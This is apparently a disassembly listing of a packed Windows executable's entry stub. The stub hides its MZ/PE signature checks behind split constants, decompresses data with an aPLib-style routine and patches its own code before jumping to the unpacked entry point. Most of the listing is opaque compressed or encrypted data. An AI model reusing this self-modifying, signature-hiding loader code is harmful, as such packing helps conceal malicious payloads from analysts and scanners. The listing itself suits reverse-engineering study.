loc_4D304E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4D306D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4D3074 loc_4D306D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4D304E ; --------------------------------------------------------------------------- loc_4D3074: ; CODE XREF: start+57j mov edi, eax loc_4D3076: ; CODE XREF: start+1Bj jmp loc_4D3265 ; --------------------------------------------------------------------------- db 3 aJ2 db 'ǹj2',0Dh,0 dw 0CF03h db 0EBh, 0Ah ; --------------------------------------------------------------------------- loc_4D3086: ; CODE XREF: start+8j mov eax, offset loc_52DCF8 mov ecx, offset word_4D326A push eax push ecx call sub_4D311B call $+5 pop eax sub eax, 26h mov ecx, 1EFh mov byte ptr [eax], 0E9h sub ecx, 5 mov [eax+1], ecx popa jmp loc_4D3265 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 9328h dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h db 0C8h, 0E4h, 0F2h ; =============== S U B R O U T I N E ======================================= sub_4D311B proc near ; CODE XREF: start+7Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h loc_4D3127: ; CODE XREF: sub_4D311B:loc_4D313Bj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_4D3132: ; CODE XREF: sub_4D311B+7Aj ; sub_4D311B+C3j ... add dl, dl jnz short loc_4D313B mov dl, [esi] inc esi adc dl, dl loc_4D313B: ; CODE XREF: sub_4D311B+19j jnb short loc_4D3127 add dl, dl jnz short loc_4D3146 mov dl, [esi] inc esi adc dl, dl loc_4D3146: ; CODE XREF: sub_4D311B+24j jnb short loc_4D3197 xor eax, eax add dl, dl jnz short loc_4D3153 mov dl, [esi] inc esi adc dl, dl loc_4D3153: ; CODE XREF: sub_4D311B+31j jnb loc_4D3238 add dl, dl jnz short loc_4D3162 mov dl, [esi] inc esi adc dl, dl loc_4D3162: ; CODE XREF: sub_4D311B+40j adc eax, eax add dl, dl jnz short loc_4D316D mov dl, [esi] inc esi adc dl, dl loc_4D316D: ; CODE XREF: sub_4D311B+4Bj adc eax, eax add dl, dl jnz short loc_4D3178 mov dl, [esi] inc esi adc dl, dl loc_4D3178: ; CODE XREF: sub_4D311B+56j adc eax, eax add dl, dl jnz short loc_4D3183 mov dl, [esi] inc esi adc dl, dl loc_4D3183: ; CODE XREF: sub_4D311B+61j adc eax, eax jz short loc_4D318D push edi sub edi, eax mov al, [edi] pop edi loc_4D318D: ; CODE XREF: sub_4D311B+6Aj mov [edi], al inc edi mov ebx, 2 jmp short loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3197: ; CODE XREF: sub_4D311B:loc_4D3146j mov eax, 1 loc_4D319C: ; CODE XREF: sub_4D311B:loc_4D31B0j add dl, dl jnz short loc_4D31A5 mov dl, [esi] inc esi adc dl, dl loc_4D31A5: ; CODE XREF: sub_4D311B+83j adc eax, eax add dl, dl jnz short loc_4D31B0 mov dl, [esi] inc esi adc dl, dl loc_4D31B0: ; CODE XREF: sub_4D311B+8Ej jb short loc_4D319C sub eax, ebx mov ebx, 1 jnz short loc_4D31E3 mov ecx, 1 loc_4D31C0: ; CODE XREF: sub_4D311B:loc_4D31D4j add dl, dl jnz short loc_4D31C9 mov dl, [esi] inc esi adc dl, dl loc_4D31C9: ; CODE XREF: sub_4D311B+A7j adc ecx, ecx add dl, dl jnz short loc_4D31D4 mov dl, [esi] inc esi adc dl, dl loc_4D31D4: ; CODE XREF: sub_4D311B+B2j jb short loc_4D31C0 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D31E3: ; CODE XREF: sub_4D311B+9Ej dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4D31F1: ; CODE XREF: sub_4D311B:loc_4D3205j add dl, dl jnz short loc_4D31FA mov dl, [esi] inc esi adc dl, dl loc_4D31FA: ; CODE XREF: sub_4D311B+D8j adc ecx, ecx add dl, dl jnz short loc_4D3205 mov dl, [esi] inc esi adc dl, dl loc_4D3205: ; CODE XREF: sub_4D311B+E3j jb short loc_4D31F1 cmp eax, 7D00h jnb short loc_4D3228 cmp eax, 500h jb short loc_4D3223 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3223: ; CODE XREF: sub_4D311B+F8j cmp eax, 7Fh ja short loc_4D322B loc_4D3228: ; CODE XREF: sub_4D311B+F1j add ecx, 2 loc_4D322B: ; CODE XREF: sub_4D311B+10Bj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3238: ; CODE XREF: sub_4D311B:loc_4D3153j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4D3259 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_4D3132 ; --------------------------------------------------------------------------- loc_4D3259: ; CODE XREF: sub_4D311B+125j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn 8 sub_4D311B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_4D3265: ; CODE XREF: start:loc_4D3076j ; start+9Dj jmp loc_52DCF8 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- word_4D326A dw 38E9h ; DATA XREF: start+77o dd 15332ECh, 0E101BCAAh, 9822FE0Ah, 52011FE1h, 61747365h dd 7041CC72h, 78F42EE2h, 5717C2F9h, 700F3359h, 3078FF8Fh dd 312D3834h, 68540047h, 64696D65h, 0EE1AE161h, 0EF10018Eh dd 0BAB449AEh, 3DC35E8h, 4AFE7723h, 0AE607A01h, 8033637h dd 92917757h, 0AFAEC45Ch, 0E2AB0146h, 0FA102E21h, 3521CBAh dd 445FFD23h, 55087722h, 0C27145FEh, 2491F715h, 0E4F78770h dd 0E3215C11h, 0D490C58Bh, 10E1E860h, 1ED815Dh, 61F32FBh dd 407D9589h, 1245B506h, 40658588h, 0BD3D8307h, 74C0C1B1h dd 0E88B390Ch, 0F4B8E216h, 92F7C22Dh, 0C41B4470h, 21EA3Eh dd 0A3E8456Ah, 9A6829C0h, 0F4078374h, 250AA0DFh, 0A893D4Bh dd 0E914D522h, 0AFFC0214h db 0A0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp adc eax, 0EED8C483h sbb byte ptr [edx-7Fh], 0EAh jmp near ptr 0DAD8B381h ; --------------------------------------------------------------------------- dw 0C712h dd 836D845h, 8940310Eh, 0F97D8108h, 741D8C80h, 0FE08200Fh dd 45536683h, 431812FFh, 0DC36E1EBh, 526DD61h, 104C2C9h dd 7CC48146h, 4902A3FFh, 343288h, 8B80458Dh, 0C728085Dh dd 50891985h, 0D10A408Dh, 181588C3h, 140B8941h, 4006BD81h dd 0E352755Dh, 0BA8D8527h, 7580641Dh, 0BB0E8A80h, 15B92F4h dd 5437ABB8h, 0F9D0D378h, 4B08870Fh, 0AF60F775h, 0A44647C3h dd 54468C4Ah, 57D142F9h, 0D0408A61h, 14FBEBF0h, 4DFC45EEh dd 0AD04EB14h, 80461879h, 0BAF7403Eh, 34DC84A6h, 0EB0C7DC3h dd 0F83E217Fh, 0F0126D99h, 0F40E9509h, 0C14A0210h, 8004F065h dd 0E0D1F8D6h, 0C0C27203h, 8ADB3328h, 8039301Ch, 0A7298FBh dd 7A77390Ah, 0E4EB7D05h, 6114CF22h, 660A0DECh, 1EDE08FEh dd 0AC39DBEh, 411A1058h, 0A0B6172h, 0BD067746h, 30014424h dd 0F4ECF05Dh, 2E67D83h, 0CB07236h, 0A5766EC0h, 0F826AACCh dd 8D0E9C83h, 3B01A8D4h, 820FFC55h, 0B0BD5378h, 387CAA83h dd 0C108BAA1h, 5070C1B9h, 3578BDFCh, 30FFE80h, 0FA754947h dd 6A8B22B9h, 3101BBB8h, 82F10E0Eh, 0B002DBEBh, 796868Eh dd 51072037h, 0E8360765h, 268A9DBBh, 88E97CE2h, 0DC1D8259h dd 6F434CF8h, 0F06B74B4h, 0C304E953h, 0C45B2123h, 25558A90h dd 45820519h, 21801508h, 6CC45343h, 3CC8C32Ch, 0EE5CC754h dd 625D8A44h, 54442117h, 8A6BD8C4h, 1712EA30h, 0CD40E3h dd 8D363769h, 1A7AE178h, 30F8EB03h, 286A02C2h, 96F1CAh dd 0A756C482h, 0CB8C22A3h, 677B3470h, 5B4E3900h, 0B8100F76h dd 43D1F51h, 983B1DD1h, 9756646h, 11602E75h, 0E4EC480Eh dd 6902965h, 0C584008Eh, 0A9968E05h, 1E53ABA9h, 29C20415h dd 0F2718C19h, 0AD0EB3E7h, 812B0CFFh, 1D220477h, 84C13401h dd 207533F9h, 773FBC90h, 0EF670A76h, 41330230h, 7F8C89ECh dd 90FFCC9Fh, 0EA45CF40h, 625060E9h, 8C5200C4h, 8211254Dh dd 0CD84B1AAh, 8845AABh, 11915613h, 0EE825E82h, 3281AAB4h dd 8A3E7211h, 8113B9A8h, 434A9723h, 381100Ch, 80FB413h dd 6ADA8D67h, 0E2830B85h, 0A281F98Bh, 52254105h, 0C4725A18h dd 114D8A23h, 52420019h, 51DC33C4h, 82D21FB5h, 0CE1BC4CCh dd 0D62D8C54h, 0BAD3D91Eh, 5E7AE87h, 1075CFE0h, 4F0C03D1h dd 0CA0B8F4Eh, 8F2B86C1h, 3C2BC33h, 0D9C82FF1h, 0FA980FF6h dd 67611F02h, 0C997BC03h, 751EEA62h, 0B0C6017h, 0D2025A58h dd 3B3AFB1Eh, 0B69069C5h, 20012522h, 8ADAC010h, 8521CDFBh dd 0A278BC1Ah, 201649C6h, 0E9553372h, 0C0E4C9DAh, 253DE7CEh dd 454F0127h, 0CF8E6793h, 0B0669BD8h, 0EAFE2474h, 0F11840D4h dd 69E692BFh, 6A9BFB00h, 12BA8175h, 85380010h, 96B9CB0Dh dd 0FA065A62h, 65E8C282h, 6A10FDD1h, 0DD00F260h, 3A33FD1h dd 38D945BDh, 0E189BF8Ch, 59035363h, 0C70C8B8h, 8767323Fh dd 0FA615BDAh, 9803F925h, 88624F6Bh, 12FCC382h, 143AB8F7h dd 0F3036AD3h, 21882E68h, 22301E01h, 10EA09C7h, 58238380h dd 0EEACF436h, 8F976707h, 0CC81D68Ah, 12D8051Ah, 4E07781h dd 1002EA84h, 8C308882h, 24AFF32h, 73C4161h, 12FF2416h dd 3F0B80EAh, 6638FA2h, 8462614Bh, 862E4EEFh, 714AF093h dd 88DC1840h, 0DE6F48C4h, 7D33F800h, 7D5E459h, 0A1BC9F0Fh dd 0B60C0CBh, 308D02D2h, 0FD180453h, 521890C0h, 0BF1113EFh dd 1C267A27h, 0C0A29495h, 0D2C6D5DBh, 8002551h, 0E912EB1Eh dd 74AC457h, 0EE07FC59h, 0BA694C42h, 48F6C030h, 0E9B96918h dd 0A93C1887h, 73E08F8Dh, 4416B785h, 0FC005EE8h, 56E5428Ah dd 74ACD557h, 0BCEE0027h, 5C4BDE18h, 6300DD50h, 0FFEC3BE8h dd 63035E6h, 0F4BA68F1h, 3D00B117h, 0E7EB520Dh, 3FB7282h dd 4D5C8470h, 0A81C9D39h, 608091ECh, 0BEF34454h, 0FA1F0075h dd 4A7AB6EAh, 0A3208ACDh, 562F00BCh, 3938D851h, 0EE3805EDh dd 6806B037h, 0C1A08DCAh, 0EFC65429h, 0E981832Bh, 0F878C58Ah dd 262D61h, 13C7F2CEh, 7FBD8E37h, 5DACF800h, 4FB48583h dd 0EB880AE1h, 8C82E3h, 21231BBDh, 0B103DAFBh, 24625A40h dd 0E94198FAh, 0E86A00E4h, 0FE05ABF9h, 0C9E6689Ah, 49D9C71Fh dd 0C6441906h, 252D1E08h, 6A2C00CAh, 0A0EEAE61h, 8C1FD807h dd 184C67A4h, 56A218E8h, 0A3E6DE7Dh, 0AE0C5F54h, 3904191Fh dd 0F929BF07h, 51D16CCFh, 292D6041h, 5DC21072h, 6CF08A00h dd 26771579h, 4481001Eh, 895C0FC7h, 0A40C0A76h, 68D729AEh dd 0A1E31049h, 0FB1907E5h, 0DDE0F525h, 3ED5F6Ch, 9E5EC2C7h dd 0B03DB6CAh, 21C530B3h, 3E27D661h, 7E0CD374h, 2190E986h dd 29825500h, 0B81CCA73h, 0F9ED03BFh, 281DFDD0h, 9AAA3800h dd 0FA2F256Ah, 43D5F9B2h, 12C61986h, 0D90049A2h, 5E917DD0h dd 39B5762h, 0C83D8C68h, 2E8B52C1h, 8BE96000h, 21A48619h dd 1D610549h, 40E101C8h, 37AD818Ch, 437B0F26h, 0D9005FE4h dd 0A4AA4BC3h, 77694C1Dh, 0C91F158Bh, 1909A082h, 0E407E03Dh dd 0E9E430C5h, 134C0CDCh, 598100CBh, 1BEE81Ch, 31DA6083h dd 0ACCC0C2Ah, 0C9DCC426h, 91C88E03h, 3A4E81Eh, 20920068h dd 15D331A8h, 0E8C63D61h, 7712741h, 5D96CDF5h, 7CDFB01Eh dd 7D01DD57h, 2A2782C0h, 0CC489AE3h, 1D2510B3h, 9E611C36h dd 18C89114h, 2C207A13h, 0CAD40038h, 4832E982h, 770F01EEh dd 27399DC5h, 41B3DA2Dh, 0DD790029h, 7D6E7822h, 1D1E402Fh dd 6F403133h, 0BDB71093h, 53BB24A4h, 7B320A54h, 0ACA900F0h dd 4E2891D4h, 403DEC01h, 0C7AE7525h, 0B0F9C440h, 21952A1Dh dd 0FAD73FE4h, 0B2C6C981h, 9F1F5DEDh, 0C7C0E718h, 12C435BEh dd 64F4A896h, 0EC970089h, 5AE5C038h, 0E703AC5Ch, 7E75169Bh dd 8B6103CFh, 0E1561D6Ah, 4A8A1107h, 36448679h, 71B36098h dd 383852F5h, 73D6FE05h, 5C980099h, 2BA0E34Ah, 20C631C0h dd 59BFA10h, 0AE28963Bh, 1A84472h, 492491D8h, 3BEECC30h dd 0C24E8E0Eh, 6925809Bh, 0F1D6E8h, 2453A508h, 3382F6A3h dd 511888h, 81D18A6Dh, 32A23CECh, 80F95801h, 0E95A54FAh dd 14704020h, 88C97D9Ch, 77796E31h, 3D49ECE6h, 0A3546500h dd 0F5C9DDF1h, 2672000Eh, 58CBBD47h, 0CE600120h, 37C9EDA1h dd 0A66B047Ah, 80FDF17Eh, 8285DDECh, 0E02C44h, 0C3ECA2D1h dd 0C8F08816h, 32634602h, 445AB17Ch, 0B3291A6Ch, 9438896Fh dd 0D8A8A413h, 0A607E7C5h, 0E537E279h, 34CAB940h, 0DD9F665h dd 0DF0150FAh, 0D706D099h, 3520ED00h, 3D228DA5h, 414B119Eh dd 0EFDA0021h, 0E11F0A92h, 281C1824h, 492C71ADh, 74A63324h dd 0EF15A940h, 6CDC0E52h, 0AB890EE8h, 14E00885h, 0E6129018h dd 981001FDh, 40853C45h, 0B3B0B16Ch, 6206498h, 0AAA8008Ah dd 6B021D5Ch, 9400E55Dh, 0B6C72999h, 4492C6h, 4C343841h dd 6A5F6172h, 0F7AAF800h, 26984F74h, 206E1DA3h, 1C15013Eh dd 0C81AFFE0h, 231E6AAAh, 0F606E157h, 149829h, 3DEDA1D7h dd 0F8845DE4h, 6CF7E20Eh, 9084FEECh, 16C0DB19h, 4828A969h dd 70734829h, 5DBA3CF3h, 0AE89E82h, 0BC663D1Dh, 108413Ch dd 2AF733D3h, 198381FDh, 8D7F42C8h, 0E9008384h, 53C0DA98h dd 0B0FAD513h, 0A3CEDC60h, 1B84A096h, 9EE315CAh, 4002A42Ah dd 0D6B24D67h, 0BE76A203h, 2248984Ah, 95291A63h, 0D203BC7Dh dd 30827Ah, 0D9C2C611h, 2511E764h, 137893Ch, 0D14EFFA0h dd 41832A41h, 0DF03B4BDh dd 28438288h, 0F7B76E00h, 81B69627h, 6B0F0F84h, 0B0A4E6CAh dd 803C95A5h, 72ABD6C7h, 84074898h, 9CE57787h, 569EE7C0h dd 0A8B2BEh, 0C0C9734Dh, 8A5B78A4h, 9E656A0Ch, 12AFD005h dd 44E4202Ch, 0C89DE350h, 0EA6F2D1Ch, 228582D1h, 39B38657h dd 1F6422F8h, 5281A7Ch, 0A4F488E2h, 0C64C48B0h, 263E8634h dd 427329h, 0C3C1B54Ch, 6D9BB223h, 60693D06h, 696C12h dd 0D1FDD67Fh, 0E7A29E84h, 0CD5BE3Ah, 60E1057Eh, 3A1D1821h dd 228BB9DAh, 3169F2F0h, 9C341810h, 0CEDC0137h, 8EA9B067h dd 2441E08Ah, 0BEB389C0h, 3DCBCFh, 0E6DE42BBh, 62F6DD59h dd 0E915B209h, 32080047h, 0B9222C5Ah, 0A4E30428h, 60FC8AD8h dd 75BB52F6h, 94321DFBh, 97A1C026h, 5F427BC9h, 0B8E42530h dd 362819BAh, 0C8E923A9h, 4C8EA20h, 4CA31B69h, 952CD19Ah dd 0AA318836h, 18D1875Bh, 0C2EC4F69h, 8322DD91h, 0F4120030h dd 0B151C1F3h, 54002AA0h, 72972646h, 92D75EA3h, 0FAF9048Ch dd 131B2515h, 6F8A6404h, 0CE88B00h, 0D2018C39h, 50527869h dd 0ACF129FBh, 84402830h, 9E752108h, 2084282Dh, 1230D015h dd 0A66199E9h, 3C9F48AEh, 1225AF1Dh, 30C4580Ah, 0E4A4FFBDh dd 0FADC3E54h, 0E1C93C03h, 74A1269Eh, 40ED7138h, 0F93CE839h dd 20BD182Ah, 1D8E310h, 4AC9496Bh, 82CEE9AEh, 19E0A850h dd 750C643h, 0D60A0CC4h, 0CB845015h, 970078A0h, 0DA7BBA10h dd 2AEBBE8h, 0EB983A33h, 4452ED2Ch, 0F0A6E326h, 3E992D41h dd 0C5001072h, 7124BEDAh, 0DB0FA043h, 6022DE77h, 9A3C853Dh dd 21A31EF3h, 0EA8C099Ch, 0ED6BF500h, 77351C8Bh, 0C880F98Dh dd 4A2B9CCEh, 787403D3h, 50A39A8Fh, 0F8E88100h, 565228Ah dd 9190A0ECh, 0CF1D13AEh, 0C8F40058h, 0D4CCAA92h, 292FC200h dd 9D66A6C9h, 2BF404B3h, 0A0865521h, 1B1D9834h, 9645764Ah dd 30025FA4h, 41358AF3h, 37102AF4h, 286041A7h, 73219C21h dd 0C8AC0FA8h, 0A41BA72h, 0ECDD84EAh, 60AA5F0Dh, 343D2CC0h dd 8FA6E183h, 0A3401983h, 51122550h, 0F020AF28h, 66867AA1h dd 21D1A0DCh, 0D873F9h, 5C7871FCh, 39EE7256h, 59808AFAh dd 0F30398BCh, 114C1F61h, 0DF3D1008h, 0D90B011Bh, 6813D7A8h dd 8CFA80C0h, 67BAA6FEh, 0CA7A106Ch, 494313BCh, 0AC1013F0h dd 0EA3062C1h, 0F99290DFh, 20A898A8h, 0E7036EF3h, 0B20ED550h dd 83F8194Ah, 0F52D40C5h, 0BF3C51CAh, 8B1882C4h, 64822421h dd 9A2C0E14h, 5CA0267Dh, 0DFDC42AAh, 6F3BB290h, 0F50478DAh dd 736C370Bh, 0FAD68881h, 0A2E94E00h, 32B11602h, 482A69EDh dd 2056A4A0h, 0A301D999h, 0D58A8C78h, 6460F91Eh, 63364149h dd 0DC007424h, 894C573Ah, 3EFAD2C6h, 9E13B831h, 980809B3h dd 76002C64h, 0B2090AAh, 2688873Bh, 40F04160h, 0A707DA4h dd 21661103h, 9DEDA65h, 0E72CDFA8h, 7A4DE066h, 0AF311628h dd 3403A00Ah, 8E1EA111h, 0E260800Fh, 0CCF78965h, 100C234Ch dd 0C104FED5h, 18D79652h, 28756930h, 2408D6A6h, 722C65A3h dd 896BA043h, 76049011h, 5DF313B6h, 1A60213Bh, 9C0405D1h dd 2492F165h, 0F26B20D7h, 8100DFBAh, 0E19D1180h, 1A5287Bh dd 51AA4491h, 71B28F5Fh, 1CE4C65Eh, 0F86BBF33h, 5766E1AFh dd 27A4D424h, 500AD55Eh, 0E17A08CCh, 5D40FA18h, 393F812Dh dd 4192954h, 6058B4C4h, 6180DA59h, 0FC5E599Eh, 0DA15A91Fh dd 8C0118D9h, 0E687A8h, 613E4DACh, 93EF78CCh, 6692C8F5h dd 3D00E97Ah, 0E7EBA561h, 9A111D3Ch, 4A0CB0B8h, 3D3002EEh dd 0CC605EBAh, 0FA8ED32Ah, 0B5510301h, 8EAA6AA8h, 3C692E8h dd 7698A60Bh, 2514A3B1h, 64029A4Dh, 31217848h, 310EB62h dd 44CDF528h, 98B49174h, 0F3FC61A4h, 0C068C4A4h, 5F322840h dd 89169E31h, 2824CEE7h, 1B480CA9h, 92D0229Ch, 0AE336B0Ch dd 2AB32972h, 128C25EDh, 4F83715Fh, 7DE33C48h, 8814E3B6h dd 850868A4h, 0B850A782h, 6967A1ACh, 0BBA700F2h, 0E5247EA4h dd 3F1F20A8h, 796E9E8Ch, 27330328h, 0A9B97E9Ch, 186A2025h dd 2A4A6928h, 0E418C667h, 8C665455h, 0C7C0199Ch, 10757033h dd 1C478382h, 80691D08h, 359939C8h, 0E81980F2h, 5EC0F898h dd 68FA4182h, 0ACA0D601h, 624F51C0h, 0F79AF300h, 0F445F1BEh dd 19BF0193h, 0AE38973Dh, 0F5A91326h, 82CC9820h, 1F3887Ah dd 7414864Ah, 0BFB70E6Ch, 7DFA9CEDh, 0EA799600h, 22A61F5Eh dd 80E01BCBh, 16A3B968h, 96DC822h, 0D9DFFA20h, 99C4482h dd 4CD22924h, 0B290A0E6h, 482B8A7Ch, 322EC1Ah, 28AD6BEAh dd 29D0D195h, 77C1282Ah, 58881B28h, 3ABB1E4Ah, 6BD683D5h dd 0A5E6AAD8h, 20CD08C2h, 78A62F5Eh, 6C53167Bh, 59FCC740h dd 88C81E84h, 14471BBh, 0B3F8CB20h, 22D48B6Bh, 5A131200h dd 9C344456h, 2A783C6Eh, 12A41D9Bh, 0D66FA7D0h, 8E653048h dd 342A1161h, 95797321h, 0B45DBF0h, 0F76CD737h, 0D0382406h dd 79296205h, 10802033h, 0A27202B0h, 46BC3C48h, 0AA28C2E1h dd 9598A3B4h, 0E302CCE9h, 0A8A7C99Ch, 0A3398CFFh, 244A675Ah dd 3C1054DAh, 1320E84h, 2D1830E7h, 71877F31h, 0D0295A67h dd 0DAD0905Fh, 9DBD3702h, 62975002h, 0C170AE18h, 6913591Eh dd 88D4A070h, 0E73EB9A9h, 292056A4h, 4105BC10h, 0A0043E0Fh dd 9C83C044h, 0D5419FA3h, 0C46169FAh, 9490FDFBh, 0C0DEB713h dd 0BA8C9C38h, 96006D47h, 5A29D086h, 0FEA00794h, 2EEF00C4h dd 0C71401B2h, 4E5178CBh, 871DDCE0h, 89008A7Bh, 52BAAD80h dd 7AD9A4h, 0C2C937C8h, 0C5266F74h, 9D2F3200h db 20h, 0B1h word_4D4152 dw 0E5F7h ; DATA XREF: ___:off_42E644o dd 7382066Eh, 40AF1017h, 7FC71208h, 0D8013FAAh, 0B261FD97h dd 146BE0C2h, 63DED007h, 0B6005EFh, 37E5BA9h, 1C532673h dd 0C7E3E488h, 7BBAB8D0h, 98937801h, 0C0B22BFDh, 2C2BB029h dd 0A0F25504h, 93A34EF8h, 80034E8Ah, 127A772Ah, 3BDED800h dd 80E465Ah, 81A900D6h, 0AE4E3CA1h, 0F90E8D9Ah, 0A6064A87h dd 40A476h, 79F729C9h, 0D0202851h, 0EF5EE300h, 0FD1A3D17h dd 79767C6Eh, 903E0074h, 4BC30DA3h, 9581BB02h, 8128CEE8h dd 0FF3BD17Bh, 0F9EF2FB8h, 0E2440803h, 0E0564A5Bh, 5C724Eh dd 5AC30991h, 2A778CC7h, 290A100h, 7592F72Eh, 0C5BC83A5h dd 0BB942E38h, 99784800h, 0C9270494h, 2874C70Bh, 3093000Dh dd 44FEEFh, 7E6BA91Ah, 711411A1h, 193913Ah, 8DB9BE8Eh dd 8FD8A44Dh, 0AE6C00D0h, 126F0780h, 7C00DDC6h, 1B370DC0h dd 7D3576CCh, 6B24004Ch, 8CFF9F97h, 8E0307C2h, 9298964Dh dd 0F44076D3h, 0D00C009Eh, 15A7C2Bh, 0D70E3611h, 0C0A54362h dd 0A3BEAE58h, 7FBD00FFh, 710B8EB8h, 0FD008693h, 5094C76Ch dd 2CD2276Dh, 0D58C722Bh, 818D00D4h, 94D86D4Fh, 0C9002EC8h dd 3C7C7795h, 0E472EFD5h, 400D20F2h, 11745300h, 8B9B1C55h dd 7F89004Eh, 6D49BAB9h, 60E28FBDh, 8080B63Eh, 2FCD0C78h dd 102B228h, 6DE30886h, 0C73B6943h, 320697A8h, 0ED5A8901h dd 93A10B8Bh, 2DD2E8h, 284B85ABh, 3BEFBA17h, 0C03F4E4h dd 435CFC19h, 6E14B067h, 0F9F00BEh, 0C8AA4B8Bh, 91008E0Bh dd 5D6CFC8Ah, 7C6B5379h, 32280259h, 0E8612F4h, 1078ACC1h dd 0E08D8F17h, 4AC04B8Ch, 0DF04E824h, 0A43B00FDh, 8C76B6E7h dd 57EFE500h, 4F8D0B98h, 2B495AE8h, 0C3DE802Ch, 395C82h dd 0DC94F99h, 570858B7h, 0AD8DCB10h, 4D913B0h, 0E9011A7Ch dd 7FE3E517h, 78F195F5h, 0C446F011h, 87001C8Fh, 724B57EBh dd 36BE977h, 0B3D61056h, 0DDB0A296h, 0E6003903h, 0AB595F30h dd 179C18A8h, 0C1CAA97Eh, 0DC225D24h, 809D9915h, 0D90DE8E8h dd 0A497173Ah, 6528886Bh, 44A5B600h, 0B73D2009h, 0A8F12994h dd 29DB901Ch, 0AF0F9CD1h, 0CAC641F5h, 0A0C8336Ch, 0D8E30032h dd 735F4C24h, 0BE08AAB0h, 40039C19h, 3268F208h, 0C7DD6106h dd 0BE09669Eh, 0E9A887C0h, 22075E68h, 825BB14Fh, 9D7180D9h dd 8C777ABEh, 70310F6Ch, 0DCA0EFEBh, 156B42Dh, 0AA12B000h dd 75E71AA4h, 0C0E64ACAh, 9F1E2D04h, 0D66700F7h, 0D88B1003h dd 574D081Fh, 76D4012Ah, 0FDF4A7BAh, 13E9E081h, 8AB96760h dd 95A35C91h, 9D9302Fh, 2A21807Ch, 4965C98h, 5EA4098Eh dd 70D0FC39h, 0E4524D3Dh, 94E98288h, 3F233E00h, 0CD3A59EFh dd 18288130h, 24392C03h, 0BB141C40h, 91A7A300h, 0CDBEEFA2h dd 74839A4Ah, 0DA213C32h, 0FF82A88Fh, 0D86F00B2h, 5526EAC6h dd 0A317AF00h, 1120C5A9h, 0CC229FE9h, 0E92F6AB2h, 8014F1F6h dd 5BF49030h, 0DD036F4Ch, 0A54D25B3h, 99B801EEh, 0FF981A09h dd 10D4F6B0h, 0FE551F03h, 282012E5h, 21ACB4B4h, 0D5824D12h dd 418098B4h, 467440A5h, 0F960D196h, 6BBC1098h, 6E4D049Bh dd 0FCFA787Ah, 0FDD3C140h, 33002059h, 0E9F94AAEh, 0F615F11Fh dd 670780D4h, 7DA12F5Dh, 385832BEh, 637278C1h, 0B1E918DBh dd 213CB98Eh, 0D0A07Dh, 5F4A2A03h, 55FDB264h, 0C9583260h dd 284E5698h, 4B94014Dh, 0AD208866h, 7A971884h, 91FA6162h dd 0E4996B29h, 31CC1900h, 6B2F227h, 0AB1DEC56h, 0E360085Eh dd 2739EB21h, 89D6000Ah, 0AB31B4EDh, 0B8AAB64Dh, 8A180F2h dd 0E9D183Bh, 0BFA293A8h, 802EC830h, 0C4A894E0h, 4D099C25h dd 0D06B636Fh, 52927530h, 330250BBh, 46B2F827h, 0A510D731h dd 291F273Bh, 0E7D821D1h, 0FA5EA299h, 83B0A2D6h, 742D8EB0h dd 8ED30B1h, 0FF7469B9h, 370E28F8h, 0A5CDD2A9h, 9C407967h dd 1F7C694Ch, 88704CC7h, 0EAC5EF83h, 3047DED0h, 0FB21D090h dd 5C0A1B6h, 40800899h, 0D7AB8E1Ch, 40C0F9D2h, 0A3578B47h dd 0B0710578h, 0A83099EDh, 21D300A4h, 29596717h, 79EC9180h dd 13E1875h, 0B41C4327h, 0F8EE48E7h, 0A21230ABh, 38492C66h dd 0E288F201h, 0BE3700B5h, 1B094D65h, 8A00DAA2h, 0CA359DADh dd 1C98E8ACh, 8961AEB1h, 60DB9FF6h, 0B4009792h, 47CDC1BAh dd 0D7485160h, 0C8C0002Bh, 7935AA07h, 0CE2D5D7Ah, 0C6C840BBh dd 80174820h, 3BB1F706h, 0EF46E8E6h, 9D5C9307h, 6FC43822h dd 43BA5F5Ch, 3718983Bh, 4D6BC8D0h, 0A42A8103h, 0E6D4937Dh dd 5EB90498h, 9075A69Eh, 2421F5C8h, 169AAA80h, 4BDAD19h dd 1ECC140h, 999EE369h, 44422C25h, 27323098h, 5EB2F111h dd 0BDE188h, 9E2C273Ah, 9B7664h, 99BDD641h, 0A4C9A668h dd 0E53D561Ah, 605C5C68h, 1DEDB2DEh, 0C0984561h, 22FCB7FEh dd 9EAF2C28h, 0A74A478h, 81ACEC07h, 2431DE9Fh, 0F2E42292h dd 0BD7430E2h, 8B7ED802h, 7E99AB34h, 2F30402Ch, 0FF007A1Dh dd 0A05C03C8h, 0A98501Ch, 38F65976h, 80EA91D4h, 21A25C8Eh dd 71448CA4h, 5C990029h, 21269EFFh, 6413876Eh, 64B1AAB6h dd 0FA160030h, 218C9804h, 0C2933BAh, 0F023EA03h, 